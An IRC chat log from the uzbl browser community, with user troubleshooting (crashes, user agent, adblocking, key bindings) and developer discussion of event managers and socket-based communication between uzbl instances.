22:35 < jelly12gen> ruskie: ah ok
22:35 < ruskie> jelly12gen, they do have some contract that comes at 65eur/month
22:35 < ruskie> but you also get 100mb data
22:35 < ruskie> 1000 of minutes
22:35 < ruskie> 1000 of sms
22:35 < ruskie> no clue how many mms
22:35 < ruskie> etc...
22:35 < jelly12gen> is there some big change for uzbl in the pipeline ?
22:36 < jelly12gen> ruskie: yeah i get it ;)
22:36 < ruskie> jelly12gen, and yeah they are trying to get people to 20eur/month flatrate ones
22:36 < ruskie> for internal calls that is
22:36 < jelly12gen> hmm
22:36 < ruskie> I'm happy with my 5eur/month no extras contract
22:37 < jelly12gen> yeah that is nice
22:37 < ruskie> and then on top of that I have a 20gb/month unlimited speed(as tech permits) 18eur/month option
22:37 < jelly12gen> i bought the phone seperate and took a phone contract
22:37 < jelly12gen> for like 5 euro/month
22:37 < ruskie> along with an unlimited unlimited mobile internet contract at 16eur/month
22:38 < ruskie> that comes with a usb 3g modem
22:39 < ruskie> need to give the local nokia store a call sometime this week
22:39 < ruskie> to see when they are expecting it
22:39 < ruskie> and to put one in reserve :)
22:40 < jelly12gen> i have to get some money
22:40 < ruskie> and yes I expect them do it to since I plan on planting 600 eur in raw cash for it... no credit card or such
22:43  * ruskie heads to bed
22:43 < Dieterbe_> me too
22:43 < Dieterbe_> see you later guys
22:44 < jelly12gen> goodnight
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23:22 < prohna> when i make posts to some forums uzbl makes like 6 posts
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23:47 < Saizan> i get a segmentation fault every time i try to visit this url  http://citeseer.ist.psu.edu/wright92syntactic.html (it's not advertising anything specific so i hope this is not considered spam), can anyone reproduce this?
23:48 < L29Ah> WORKSFORME
23:48 < Saizan> thanks
23:49 < comhack> I am running uzbl-git from AUR and I was wondering why does uzbl crash on certain websites? Some pages crash everytime they are visited. Does the experimental fix some of these issues or do I have to wait for an update. Here is my uzbl/config http://pastebin.com/f23573987
23:49 < comhack> thanks
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23:49 < comhack> BTW uzbl is great other than that
23:50 < comhack> BTW I am using the default congis in examples
23:51 < MichaelRaskin> Saizan, worksforme
23:51 < scj> comhack: x86_64 and gcc4.4?
23:51 < MichaelRaskin> Saizan, comhack : usually WebKit version used is buggy
23:51 < comhack> x86_64
23:52 < MichaelRaskin> Not that far ago I found an option combination that crashes on slashdot.org
23:52 < comhack> gcc 4.4.1-1
23:52 < comhack> on xmonad
23:52 < scj> there is problems with javascriptcore on x86_64 built with gcc4.4
23:52 < comhack> I just started using uzbl about a week ago and now I use it only
23:52 < scj> using 4.3 apparently helps
23:52 < comhack> ahh worth looking into
23:53 < comhack> so could I just comment out the javascriptcore and see if it helps
23:56 < Saizan> uhm, downgrading gcc doesn't look pleasant to do
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23:56 < comhack> Saizan: thanks
23:57 < Saizan> comhack: why are you thanking me?:) i think we just share the same problem, being both archlinux users
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23:57 < comhack> for letting me know its a hassle to downgrade gcc
23:58 < comhack> I just realized how many deps are needed to remove also
23:58 < comhack> nm
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00:00 < Saizan> heh, same segfault on midori, so it really seems to be webkit
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00:11 < comhack> Some websites show a mobile version when browsing with uzbl. I tried to change the useragent to what I have in firefox but I still get a mobile version
00:16 < MichaelRaskin> Compare headers that eventually get sent
00:18 < comhack> ok
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03:11 < comhack> oops
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05:07 < comhack> I have noticed that some when posting replies in some forums including bbs.archlinux.org, that spacing is not right. Uzbl seems to delete space between paragraphs. Thanks
05:08 < comhack> #that when posting
05:08 < comhack> I guess I could check the bug reoirts
05:24 < comhack> done http://www.uzbl.org/bugs/index.php?do=details&task_id=125
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10:17 < ruskie> hmm anyone got a one-liner or something that would do while true ; do reload current page ; done ?
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10:20 < Dieterbe_> while true; do echo 'reload' > /tmp/<fifo>; done
10:28 < rob|> morning.
10:30 < Dieterbe_> heya robman
10:32 < Dieterbe_> i had an interesting chat with the dude who works on microB (mozilla based browser for maemo5)
10:32 < Dieterbe_> he said in mozilla all api's can be accessed from either C or JS in the same way. so that should give you all the power in either language
10:33 < Dieterbe_> also he told me about his unpleasant experiences getting fixes merged in upstream
10:33 < Dieterbe_> upstream of webkit, that is
10:33 < Dieterbe_> aka apple guys
10:34 < rob|> yeah, gecko is API-wise for sure more advanced than webkit-gtk
10:35 < ruskie> :)
10:35 < Dieterbe_> he also told me if you want all your data stored in simple plaintext files and such, you can easily override mozilla's built in history logging and such by making your own history add-on
10:36 < ruskie> I so wish I could code stuff to make uzbl accept multiple renderers
10:36 < Dieterbe_> meh no
10:36 < Dieterbe_> i just don't see the need for that
10:37 < ruskie> well uzbl would become basically an event manager for the renederers
10:37 < MichaelRaskin> Dieterbe_, testing sites while resting in the comfort of the same bindings?
10:37 < ruskie> MichaelRaskin, not just that... some bindings, setting, history, cookies etc...
10:37 < ruskie> of course it would require for uzbl to be more abstracted from the browser
10:38 < ruskie> and probably provide it's own settings and translate those to the renderer
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10:39 < Dieterbe_> then you could just as well fork uzbl-core (i.e. maintain 2 versions in git)
10:39 < ruskie> that could work as well... still it's that lack of coding skills that's the issue
10:39 < ruskie> and you still need to make them both accept the same configs
10:40 < ruskie> and extend things like uzbl_tabbed to be able to launch one or the other by default
10:40 < Dieterbe_> for now i would be happy to get the webkit one working ;)
10:40 < ruskie> :)
10:40 < ruskie> I sitll haven't updated to the event manager stuff
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10:41 < MichaelRaskin> Event manager is a nice thing
10:42 < MichaelRaskin> Although I so need to rewrite my Lisp EM to make it more structured
10:42  * ruskie contemplates a bash EM and wonders if it would even be dooable in a sane way
10:43 < MichaelRaskin> I.e. now that event binding works I have no reason to special-case KEY_PRESS
10:43 < MichaelRaskin> ruskie, it is doable in a sane way, but without a bash-to-c translator it is likely to be a bit slow
10:43 < ruskie> MichaelRaskin, not really
10:43 < MichaelRaskin> Hm
10:43 < ruskie> there are so many ways to optimize things
10:43 < MichaelRaskin> is "chain" command in uzbl-experimental there to stay or is it there to simplify transition?
10:44 < ruskie> the main issue I see is that one needs to normalize the input to avoid any bugs/expolits
10:44 < rob|> the latter
10:44 < rob|> ^^ MichaelRaskin
10:45 < MichaelRaskin> rob|, thanks. So I did right when didn't rely on it and handled all chaining thorugh EM
10:45 < rob|> yes, definitly
10:46 < MichaelRaskin> Does anyone have a sane userscript for /. ?
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10:47 < MichaelRaskin> I want to set "abbreviation" and "hidden" cutoffs
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10:49 < MichaelRaskin> After implementing a ton of bindings for mouseless hovering links/clicking them/following them/opening them in new tab (these are 4 distinct bindings), /. became annoying white spot.
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11:08 < rob|> MichaelRaskin: btw, are you planning to support multiple uzbl instances with your EM?
11:08 < MichaelRaskin> rob|, support is partially there
11:08 < rob|> or are you resorting to one EM per instance?
11:08 < rob|> ah, nice
11:08 < MichaelRaskin> It will be improved
11:08 < scj> sending stuff to the socket breaks the connection to the EM :/
11:10 < rob|> yep, we currently don't handle multiple connections to the socket
11:12 < scj> i thought the em was supposed to be reading from uzbl's stdout, not hog the socket?
11:13 < Dieterbe_> maybe we should use dbus
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11:13 < sepeth> it is kinda faq, but couldn't find answer anywhere, does uzbl have ssl support?
11:14 < Dieterbe_> it does
11:14 < Dieterbe_> but invalid/self-signed certs aren't handled very cleanly yet
11:15 < sepeth> hmm, that' the reason I see ""
11:15 < rob|> scj: we do send events both over stdout and the default socket
11:15 < sepeth> hmm, is that the reason I see "ssl support not available"?
11:15 < rob|> scj: using only stdout seemed to have some strange blocking issues
11:16 < scj> rob|: hogging the socket is pretty blocking too, since it disables everything else from communicating with uzbl
11:17 < Zombywuf> BTW, is anyone working on the config parser?
11:17 < rob|> scj: well, as a workaround there still is the fifo. also i will look into implementing multiple socket connections more cleanly
11:18 < rob|> Zombywuf: are you referring to anything specific?
11:18 < Zombywuf> Well mostly the giant comment in the config/command parsing code saying it all needs to be re-written
11:19 < Zombywuf> But also a segfault in calling run_handler on a chain with a trailing space
11:19 < Zombywuf> I suspect double spaces (i.e. '  ') will trigger it too
11:19 < scj> rob|: although I don't like the idea, but what about having a specific EM socket?
11:19 < rob|> yeah, at leasr chain should be obsoleted at some point
11:19 < Zombywuf> I have a simple fix, but it's just layering on more hackyness
11:20 < rob|> scj: yeah, dieter suggested this as well
11:20 < Zombywuf> It's likely to crop up anywhere using split_quoted
11:21 < rob|> Zombywuf: right, as i said the idea is to get rid of most parts of the parser in favour of EMs handling these
11:22 < rob|> Zombywuf: MichaelRaskin's EM already does it btw
11:22 < MichaelRaskin> What - these?
11:22 < Zombywuf> ok, will need to look at that, there's still some paring of strings though right?
11:22 < Dieterbe_> rob|: what do you think about dbus? it seems to provide good many-to-many communication between many applications accross the desktop. but i don't know how fast it is
11:23 < MichaelRaskin> My EM is meant to issue only simple commands to uzbl.
11:23 < rob|> Dieterbe_: well, i'm not a fan of dbus
11:24 < Dieterbe_> what's wrong with it?
11:24 < Zombywuf> Dieterbe_: It is very fast
11:24 < MichaelRaskin> But I still need "spawn" in corner cases
11:26 < rob|> Dieterbe_: well, conceptually it is quite nice though it requires a library even for the most simple forms of communication
11:27 < rob|> Dieterbe_: this means it won't be that easy to write a one liner to retrieve events from uzbl, etc.
11:27 < rob|> though, i'd be happy to see a dbus aware uzbl to prove me wrong ;)
11:28 < Dieterbe_> well, there are commandline tools to talk dbus
11:28 < Dieterbe_> that could be used in script.  so something similar to socat, but for dbus
11:30 < rob|> right, i see.
11:31 < Zombywuf> Is there any reason to use it though?
11:32 < Dieterbe_> well in theory it's supposed to 'just work', 'not break' and allows more flexible communication between different programs
11:33 < Zombywuf> Well, it changes "run program to do task" to a Service Oriented Architecture, is that what you want
11:33 < Zombywuf> ?
11:37 < rob|> Zombywuf: well, the nice thing about dbus is that is comes with methods to handle sync/async communication by default. so at least that part could be of good use for us
11:37 < scj> what was the blocking issue with hooking the EM up to uzbl's stdout? if that was somehow resolved, we'd be back on track
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11:38 < Zombywuf> Setting up a bash script as a sync dbus service is unlikely to be fun
11:39 < rob|> indeed
11:39 < Dieterbe_> scj: we want to reuse 1 EM for multiple uzbl-core's
11:41 < scj> what about writing some sort of pipe demuxer?
11:42 < Dieterbe_> we tried something like uzbl-core > fifo; cat fifo | EM, but the channels broke sometimes (i don't know the details myself)
11:45 < Zombywuf> Why not let EMs decide how they are communicated with, and just supply command line programs that do the talking?
11:45 < Zombywuf> uzbl-core | go-talk-to-em
11:48 < rob|> not a bad idea either
11:49 < rob|> i mean we already do provide this functionality so feel free to try out whatever approach comes to mind
11:49 < rob|> eventually we'll settle with the one working best
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14:00 < jelly12gen> damn
14:01 < jelly12gen> i have some problems with uzbl it just suddenly just disseapars
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17:45 < chiiph> does gtk have a plugin system? I mean... what if I want a plugin with a dialog docked in some place inside uzbl, how can I do that?
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17:56 < rob|> chiiph, well you can embed uzbl inside any gtk widget (or anything supporting xembed, that is)
17:56 < rob|> so would you would create a window holding uzbl any other widgets of your liking. btw, that's how uzbl_tabbed does it..
17:57 < rob|> s/would//
17:57 < chiiph> rob|: ok... but not the other way around...
17:58 < chiiph> rob|: is there any particular reason why gtk was chosen? and not Qt?
17:58 < rob|> right, not the other way around
17:58 < rob|> yes, cause we chose to work with webkit-gtk
17:58 < chiiph> rob|: Qt has webkit too...
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17:59 < rob|> yeah
17:59 < rob|> QT is C++, though
17:59 < chiiph> rob|: I know this is like religion :) , I'm just asking cause Qt has a plugin system... and I think it works great...
17:59 < chiiph> yes... C++, at least for me is better when it comes to GUI systems when it's object oriented...
18:00 < mason-l> chiiph, C > C++
18:00 < rob|> well, glib/gtk do have plugins systems as well
18:00 < mason-l> Hey guys.
18:00 < rob|> hey mason
18:00 < chiiph> hey...
18:00 < mason-l> Hey rob|
18:01 < chiiph> rob|: so, that's what I'm asking, but you are saying I can't do much with it :)
18:01 < rob|> chiiph, no i'm saying we didn't make use of it yet
18:01 < chiiph> mason-l: really? C > C++? why do you say that?
18:02 < chiiph> rob|: oh, ok... can you point me to the right doc? cause I don't seem to find it...
18:02 < chiiph> rob|: may be I can give you a hand with that part...
18:03 < rob|> chiiph, sure thing, for glib: http://library.gnome.org/devel/glib/2.22/glib-Dynamic-Loading-of-Modules.html
18:04 < rob|> anyways, GtkPlug/Socket are probably way easier to handle
18:06 < rob|> i say that because we currently don't provide a stable C API for uzbl but only an "IPC" one
18:07 < mason-l> chiiph, Mostly I'm just stirring after you said "I know this is like religion :)"
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18:07 < mason-l> But: "C++ has its place in the history of programming languages. Just as Caligula has his place in the history of the Roman Empire." — Robert Firth
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18:09 < chiiph> mason-l: I don't know... I find way better Qt signals and slots than callbacks...
18:10 < mason-l> Qt != C++
18:11 < rob|> mason-l: well, i'm not aware of any C bindings for Qt
18:11 < chiiph> mason-l: yes, because Qt isn't a language... I'm talking about GUI frameworks... the common GTK vs Qt battle...
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18:13 < mason-l> I was just pointing out that when I said "C > C++" I didn't mean "C > Qt". And when it comes to GTK v.s. Qt I quite honestly wouldn't have a clue.
18:13 < mason-l> I did like the QtCreator (or what ever that application was called).
18:13 < chiiph> I use just vim + urxvt...
18:13 < mason-l> So do I.
18:14 < chiiph> anyway... you are not gonna port everything to Qt, so this is pointless :)
18:14 < chiiph> I'll just wait untill you have a good structure so I can help you with some plugins...
18:14 < rob|> well, i don't care so much of gtk vs qt. my main fields of interest in uzbl are IPC integration
18:14 < mason-l> rob|, "IPC"?
18:15 < ptman> mason-l: Inter-Process Communication ?
18:15 < rob|> inter process communication
18:15 < mason-l> :)
18:17 < rob|> chiiph: well, plugins are nice but closely tight to one specific language. the whole point of uzbl is to make it easily accessible using _any_ language
18:17 < scj> as long as it's not ICP
18:18 < Dieterbe_> good evening guys
18:18 < mason-l> Dieterbe_, Evening.
18:19 < dreadlorde> Evening, gentlemen and maybe ladies
18:20 < chiiph> rob|: I'm not saying you should only provide _one_ way to add plugins... you can provide some API that can ease the coding if you want some widgets or dialogs...
18:20 < mason-l> chiiph, Theres nothing stopping plugins/scripts launching dialogs.
18:20 < rob|> chiiph: what's wrong with xembed?
18:21 < Dieterbe_> uzbl-core should not have stuff supporting adding misc widgets and/or dialogs. if you want that, write your own window that does that and embeds uzbl-core in it
18:21 < rob|> chiiph: you could code your widgets in Qt and just embed uzbl
18:22 < chiiph> rob|: yeah, but that would add GTK+Qt run time dependencies.... that's not the greatest idea...
18:22 < Dieterbe_> not to mention the best plugins/addons are the ones you don't see (and/or have (visual) effect based on an event or users keystroke)
18:22 < chiiph> I'm not saying there isn't a way to do this...
18:23 < chiiph> I'm just saying, that from _my_ point of view, plugins should be inside uzbl, and not the other way around...
18:23 < chiiph> evidently, noone shares that point of view :)
18:23 < rob|> i don't see why this should be so..
18:24 < rob|> we already provide a quite powerfull language angnostic "API" to communicate with uzbl, just make use of it
18:25 < mason-l> chiiph, Thats half the beauty of open-source, fork the project.
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18:26 < chiiph> mason-l: hehe, I know, but I don't wanna support a whole project by myself...
18:27 < mason-l> chiiph, Others might join in, you never know.
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18:30 < rob|> chiiph: the benefit of not using language specific plugins is a huge one. we already have python and lisp based event managers that can control uzbl to a very fine grained level
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18:30 < chiiph> mason-l: nah, may be in the summer... hehe
18:31 < chiiph> rob|: where's the doc for the python part?
18:31 < rob|> chiiph: mason is the man for that one
18:31 < mason-l> rob|, Speaking of which are we going to include a lisp-em branch in the main repo maintained by MichaelRaskin?
18:31 < mason-l> see/include
18:32 < MichaelRaskin> I guess it is a bit too early
18:32 < MichaelRaskin> Anyway
18:32 < rob|> well, i'm ok with this. dieter?
18:32 < mason-l> MichaelRaskin, Hey.
18:32 < MichaelRaskin> It still needs quite a rewrite before even discussing whether its inclusion makes sense
18:32 < chiiph> mason-l: can you point me to python-related docs for plugins?
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18:33 < mason-l> MichaelRaskin, Well let us know when its stable because I would like to see multiple event managers actively developed in the uzbl project as I believe that is our greatest strength.
18:33 < mason-l> chiiph, Its mainly by observation at the moment. Check out some of the smaller plugins and the plugin_template.py
18:34 < chiiph> mason-l: ok...
18:34 < mason-l> chiiph, plugin_template.py is as close as we have for a tutorial at the moment.
18:34 < mason-l> chiiph, We are talking about the same things aren't we?
18:35 < chiiph> mason-l: I'll see if I can do what I need to get rid of firefo :)
18:35 < chiiph> mason-l: I think we are...
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18:39 < chiiph> mason-l: so, in the config I should do @bind whateverkey-combo = script @scripts_dir/myscript.py, and that's it?
18:39 < mason-l> chiiph, Not quite.
18:39 < dreadlorde> was the patch that enabled keys like ^U, ^W, et cetera merged?
18:40 < mason-l> dreadlorde, Key navigation yes & Home & End buttons but no ^U or ^W (Yet)
18:40 < mason-l> (Without breaking the entire bind system along the way).
18:41 < mason-l> chiiph, Event manager plugins are placed in $XDG_DATA_HOME/uzbl/scripts/plugins and are loaded automatically by the event manager.
18:41 < mason-l> Then you can raise and respond to custom events in the new plugin.
18:41 < dreadlorde> damn it.. :(
18:42 < mason-l> Python scripts placed in the scripts_dir aren't the same as event manager plugins.
18:42 < chiiph> mason-l: and how do I bind a certain key-combo to my script?
18:43 < mason-l> chiiph, Like this: @bind whatever-combo = spawn @scripts_dir/myscript.py
18:43 < chiiph> ok...
18:44 < mason-l> chiiph, The only problem was spawn/script in your example.
18:44 < mason-l> You use script for loading javascript scripts.
18:44 < chiiph> oh, ok...
18:45 < mason-l> And spawn for everything else (python, sh, haskell, etc)
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19:06 < uranther> soup
19:07 < rob|> libsoup?
19:07 < uranther> word
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19:56 < Dieterbe_> rob|: just home. let me catch up ..
20:00 < Dieterbe_> uranther: sup
20:01 < Dieterbe_> rob| / mason-l : what MichaelRaskin said.  when he says himself it's in good shape we can reconsider
20:02 < Dieterbe_> for now, i think it's best to have it separately
20:03 < mason-l> I'm not sure reconsider is the best word (its not like we've denied it or anything) its just not ready yet. But having it optional in the official repo would be nice.
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20:04 < uranther> Dieterbe_, trying to finally update my branch, but github is timing out or something on `git fetch`
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20:05 < Dieterbe_> mason-l: how are you btw?
20:05 < mason-l> Dieterbe_, Quite good, I've been snowed under at the moment as I moved to a different shift pattern which is taking a while to settle into.
20:07 < mason-l> Wow, github looks different.
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22:02 < lysgaard> What's the latest on adblocking? My netbook is to slow for the flash-web of today
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22:17 < lysgaard> Anyone have some kinda adblocking on uzbl. I've tried privoxy but it doesn't cut it as good as addblock on firefox
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22:39 < Zombywuf> squid + adzapper is working well for me
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22:51 < Allive> i use privoxy it's pretty good for me
22:52 < lysgaard> Allive: How did you set the proxy variable again?
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22:54 < Allive> in uzbl's config?
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22:59 < lysgaard> Allive: Yup
23:00 < Allive> set proxy_url              = http://127.0.0.1:8118
23:05 < lysgaard> Allive: Thanks! =)
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01:24 < Greenstuff> anyone here?
01:25 < Greenstuff> עםאאש /וקדאןםמ שנםוא וזנך
01:25 < Greenstuff> have a question bout uzbl
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01:30 < keis> don't ask to ask :)
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01:35 < Greenstuff> ok do i'm a bit confused
01:35 < Greenstuff> if there's no adress bar how am I expected to go to websites?
01:36 < keis> with the example config you would press o, and then write the url
01:37 < Greenstuff> thanks
01:37 < keis> but that's just a example, you could conjure whatever fancy solution you wish.
01:37 < Greenstuff> I see
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01:45 < Greenstuff> pressing o doesn't seem to do much..
01:46 < keis> hmm, do you get a 'o' in the statusbar?
01:47 < Greenstuff> yup
01:47 < keis> ah, maybe it's only in experimental then
01:47 < keis> if you write "o http://google.com" and press enter
01:47 < Greenstuff> what do you mean?
01:48 < Greenstuff> hmm it seems typing into a xt box doesn't work ither
01:48 < Greenstuff> it just writes everything to the taskbar
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01:49 < keis> by default it's modal, you need to tell uzbl to forward the keys (i in default)
01:53 < Greenstuff> pressing i doesn't really help..
01:57 < keis> heh, odd
01:59 < Greenstuff> is there any config file I need?
02:00 < keis> yeah, the one from examples/config/ should be a good start.
02:00 < keis> but i guess you are already using that as 'o' worked
02:05 < Greenstuff> there we go
02:05 < Greenstuff> everything works
02:05 < Greenstuff> thanks a lot for your paitence
02:05 < keis> np
02:06 < Greenstuff> are you uzing uzbl often?
02:06 < keis> running it as my mainbrowser on my desktop machine
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02:07 < Greenstuff> nice
02:08 < Greenstuff> I like how it has no menus
02:08 < Greenstuff> I really need the room so I don't like all those toolbars
02:08 < Greenstuff> how did you hear about it?
02:08 < keis> yeah, it's nice. never used them in other browsers anyway
02:08 < keis> hmm, I think it was the /.-story
02:10 < Greenstuff> what's /.-story?
02:10 < keis> http://linux.slashdot.org/story/09/09/05/2142235/Meet-Uzbl-mdash-a-Web-Browser-With-the-Unix-Philosophy
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02:26 < Greenstuff> I see
02:38 < Greenstuff> and in case you are still here
02:38 < Greenstuff> do you know if I can set the user agent?
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02:43 < keis> I think it's just a variable, check the config :)
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03:04 < Greenstuff> already did, thanks
03:04 < Greenstuff> now the world thinks i'm using firefox on ubuntu
03:05 < Greenstuff> I love open source
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03:07 < keis> would be better if sites served the same html to all browsers :)
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03:08 < Greenstuff> true
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03:09 < Greenstuff> rather silly how we have to cheat them
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04:41 < powergoal> I'm trying to install the uzbl_tabbed.py extension to uzbl, but I find that everytime I call it, an error is thrown: /bin/sh: uzbl-browser: command not found
04:42 < powergoal> any ideas on how to fix this?
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04:42 < keis> put uzbl-browser in your PATH
04:43 < powergoal> keis: that seems like a quick fix, but I'm not sure where this is, i have uzbl in my path, and I have tried to reconfigure the script to use that, but it doesn't seem to resolve the issue
04:44 < powergoal> keis: I stand corrected.  It seems that did.  Sorry for the snarky response, and thank you for your help :)
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04:45 < keis> heh, np :)
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10:32 < rob|> morning.
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10:34 < Dieterbe_> hi
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10:55 < mason-l> Dieterbe_, rob|: Afternoon guys.
10:55 < rob|> hey
10:56 < mason-l> rob|, Lets talk about handling multiple instances with one event manager
10:57 < rob|> ok, fire away
10:57 < mason-l> I suggested something last week which you apparently didn't agree with, something along the lines of 'uzbl-core --uzbl-daemon $XDG_CACHE_HOME/uzbl/event_daemon'
10:58 < mason-l> And you said you didn't want any 'event manager code' inside uzbl-core.
10:58 < mason-l> And that uzbl-core shouldn't know anything about an event manager.
10:58 < rob|> right, we could do the very same thing using a wrapper script
10:58 < mason-l> I don't entirely agree with that as I believe uzbl-core should have some mechanism by which it can send events to a given socket.
10:59 < mason-l> And that socket not be the uzbl_socket
10:59 < mason-l> Because fundamentally uzbl in the experimental branch needs to communicate to some sort of event manager to operate like a browser.
11:00 < rob|> well, sort of
11:00 < mason-l> What I had planned on doing on the event manager side of things was turn it into a daemon (see: cookie_daemon.py) and in the launcher start uzbl-core like: 'uzbl-core --uzbl-daemon $XDG_CACHE_HOME/uzbl/event_daemon'
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11:01 < mason-l> That way the event manager didn't have to keep track of fifo and socket names of the uzbl instance.
11:01 < mason-l> When something connects it just deals with it.
11:02  * ruskie keeps getting that sinking feeling that in the end uzbl will become nothing and there will just be an event manager that does it all
11:02 < mason-l> ruskie, read: symbiosis.
11:02 < MichaelRaskin> ruskie, uzbl is the WebKit API wrapper and translator
11:02 < MichaelRaskin> Isn't _that_ enough??
11:03 < MichaelRaskin> Event manager will eventually get split and modularized to load plugins only conditionally..
11:03  * ruskie sticks to his probably ancient by now 2009-09-09 installed uzbl master
11:03 < MichaelRaskin> So for each event manager there will be competing implementations of the same functionality.
11:03 < mason-l> MichaelRaskin, You can already do that with --plugins-load=plugin1,plugin2,... and --plugins-ignore
11:04 < MichaelRaskin> Is it that bad?
11:04 < rob|> mason-l: are you saying that  all uzbl instances should communicate over one socket with the EM
11:04 < ruskie> as it stands it's now on the same level as use $LANGUAGE for configuration which effectively this now is
11:04 < MichaelRaskin> mason-l, ah, thanks. Not that I really care about python-EM as a potential user.
11:05 < mason-l> rob|, Yes an 'event daemon' socket. The same way (although persistent) that uzbl currently connects to the cookie_daemon socket over one socket.
11:06 < rob|> ok, so we would use this socket for 2-way communication or just for the events reporting?
11:06 < mason-l> rob|, Two way communication. Essentially a uzbl_socket except uzbl-core is told to connect to a specific location not the other way around.
11:08 < rob|> well, this would mean having to address specific instances using an extended protocol. as it is now the filesystem basically takes care of most of the adressing part
11:08 < mason-l> That way you can re-start the daemon without loosing a list of all the instances its supposed to be tracking.
11:08 < rob|> and the EM would certainly also need to keep track of the addresses
11:08 < mason-l> rob|, Noo
11:08 < mason-l> rob|, Sockets not fifo's.
11:09 < mason-l> Each connecting client opens their own private channel with each other.
11:09 < mason-l> No communications cross when talking about sockets.
11:09 < rob|> sure, but if n instances connect to one socket how to send a command to instance n-2?
11:09 < mason-l> Easy
11:10 < mason-l> rob|, I've got it all taken care of.
11:11 < mason-l> Each uzbl instance object keeps track of its own private socket object used for duplex communication with the instance.
11:12 < mason-l> Then the uzbl.send function is essentially a wrapper for uzbl.socket_obj.send('command or something')
11:12 < rob|> i see
11:12 < mason-l> And thats a unique socket object for each open connection.
11:12 < mason-l> So you can tell them apart.
11:13 < mason-l> This will eventually mean we can re-load the event_manager while instances are running and as long as they re-connect after a second or so after the new event_manager is running you will never know its happened.
11:14 < rob|> ok, i guess this makes sense
11:14 < mason-l> (as long as the event_manager tells the instance to reload the config after the re-connection all the settings will be recovered)
11:14 < mason-l> (Including binds and other plugins events too)
11:16 < rob|> so we would basically need a cl argument that creates additional sockets
11:17 < rob|> something like:  uzbl -event-socket <name>
11:17 < mason-l> Not create, the event_manager creates a single socket in the xdg cache dir for the client uzbl instances to connect to.
11:18 < mason-l> But yes: 'uzbl-core --uzbl-daemon $XDG_CACHE_HOME/uzbl/event_daemon' is the exact use case (where $XDG_CACHE_HOME/uzbl/event_daemon exists because the event daemon has been started)
11:18 < rob|> right, and <name> would be just this
11:20 < rob|> ok, and the socket name would be a variable?
11:21 < rob|> sorry, i'm a bit confused.
11:21 < mason-l> Just a command line argument which uzbl-core then connects to for duplex event<->command communication.
11:21 < mason-l> Its possible to have it as a config value too I suppose.
11:21 < mason-l> But I didn't want to confuse the issue.
11:21 < rob|> well is '$XDG_CACHE_HOME/uzbl/event_daemon' a socket or something to spawn?
11:22 < mason-l> Its a socket
11:22 < mason-l> AF_UNIX & SOCK_STREAM socket.
11:22 < rob|> ok, so i just suggested another name for the argument
11:23 < rob|> it basically connects to a socket and sends event+recieves commands
11:23 < rob|> so "-event-socket <name>" sounds reasonable, doesn't it?
11:23 < mason-l> It could just as easily be 'uzbl-core --event-manager-socket $XDG_CACHE_HOME/uzbl/event_daemon'
11:23 < mason-l> Either.
11:24 < mason-l> I just wanted to make another script uzbl-daemon which calls your favorite event manager
11:24 < mason-l> Which (once running) essentially becomes a uzbl daemon.
11:25 < rob|> sure, but if we do it this way we can as easily allow to create multiple event sockets
11:25 < mason-l> That way we can call: uzbl-daemon {start|stop|restart}
11:25 < mason-l> ?
11:25 < rob|> so you could attach many separate EM processes to one uzbl instance
11:25 < mason-l> How would that be possible?
11:26 < rob|> well, by using "-event-socket foo" multiple times
11:26 < mason-l> I'm not sure thats advisable... but possible.
11:27 < mason-l> If you echo events on every open socket connection.
11:27 < mason-l> And listen for commands on every open socket connection.
11:27 < mason-l> Actually this could be interesting.
11:27 < rob|> right, so there would be "-event-socket" an "-socket"
11:28 < mason-l> You could have a lisp EM and python EM running at the same time and event managing the once uzbl-instance.
11:28 < mason-l> Why -socket?
11:28 < rob|> btw, something like this was primary proposal but with the ability to control which events are being send via which socket
11:29 < mason-l> rob|, Instead of filtering events why not just explicitly have each EM handle their own events.
11:29 < rob|> like?
11:30 < mason-l> rob|, Just remove the plugin that handles THIS_EVENT and include a plugin in the other event manager that handles THIS_EVENT.
11:30 < mason-l> So they both receive but only one acts.
11:31 < mason-l> rob|, I'm going to write you a simple server socket demonstration.
11:32 < rob|> i see what you say, though this still means sending all events over all sockets
11:32 < rob|> and the EM just takes care of the "filtering"
11:32 < mason-l> Less filtering more ignoring.
11:35 < rob|> it still has to inspect each message so it's basically the same
12:01 < mason-l> rob|, I've got a simple client-server socket demonstration.
12:01 < rob|> ok
12:01 < rob|> it's a pitty we need multiple sockets
12:04 < mason-l> rob|, Server: http://dpaste.com/106549/  Client: http://dpaste.com/106550/
12:04 < mason-l> We just need the single socket.
12:04 < mason-l> look at that example
12:04 < mason-l> Start the server with: chmod +x server.py; ./server.py
12:04 < mason-l> or python server.py
12:04 < mason-l> then start multiple clients
12:07 < mason-l> Brb dinner.
12:08 < rob|> sure, that's not the point though
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12:12 < rob|> we still need one socket that handles accecpt (in this case uzbl is the server) and one that connects to em socket
12:13 < rob|> *to the
12:22 < rob|> ok, so we will have multiple clients on the default socket where uzbl acts as a server and the possibility to _connect_ to multiple sockets and send event + recieve commands from them
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12:29 < mason-l> rob|, No..
12:29 < rob|> why not?
12:29 < mason-l> I think you are over-complicating things.
12:29 < mason-l> All that is needed is the _single_ connect to the event manager socket.
12:30 < mason-l> No accept announces or anything just the single connect.
12:30 < mason-l> No extra sockets
12:30 < Zombywuf> This is sounding very non-unixy
12:31 < mason-l> Zombywuf, Thanks for your contribution.
12:31 < Zombywuf> So uzbl now needs a demon to be running in the background and is communicated to via a socket
12:32 < rob|> we also need to handle multiple clients on the default socket
12:32 < Zombywuf> Seems a long way from small programs that manipulate text files
12:32 < mason-l> Zombywuf, You haven't been following the developments in the experimental branch have you?
12:32 < Zombywuf> I'm struggling to follow them, which to me is a warning sign
12:33 < mason-l> Zombywuf, Its complicated at the moment because we haven't finalized most of the changes
12:33 < mason-l> Zombywuf, And we haven't documented most of the changes
12:33 < mason-l> rob|, Yes but thats not the socket being used here.
12:34 < rob|> sure
12:34 < scj> Zombywuf: btw, you're a goon, right?
12:38 < mason-l> scj, Goon?
12:41 < scj> member of the something awful forum
12:41 < ruskie> Zombywuf, you missed most of that area... a long time ago... ;)
12:43 < ruskie> Zombywuf, I'm still running on a version from start of september ;)
12:46 < ruskie> http://www.theregister.co.uk/2009/10/13/wikireader/ <-- hmm so that's Project B
12:54 < Fatal> ouch @ screen :/
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13:16 < Zombywuf> scj: Yeah
13:17 < Zombywuf> Sorry, a meeting cropped up
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14:04 < rob|> mason-l: ok, i implemented all this socket stuff. we just need a good name (+one letter option) for the em socket
14:10 < rob|> mason-l: changes pushed, syntax:  uzbl-core --connect-socket name
14:11 < rob|> mason-l: also we only buffer events for that socket
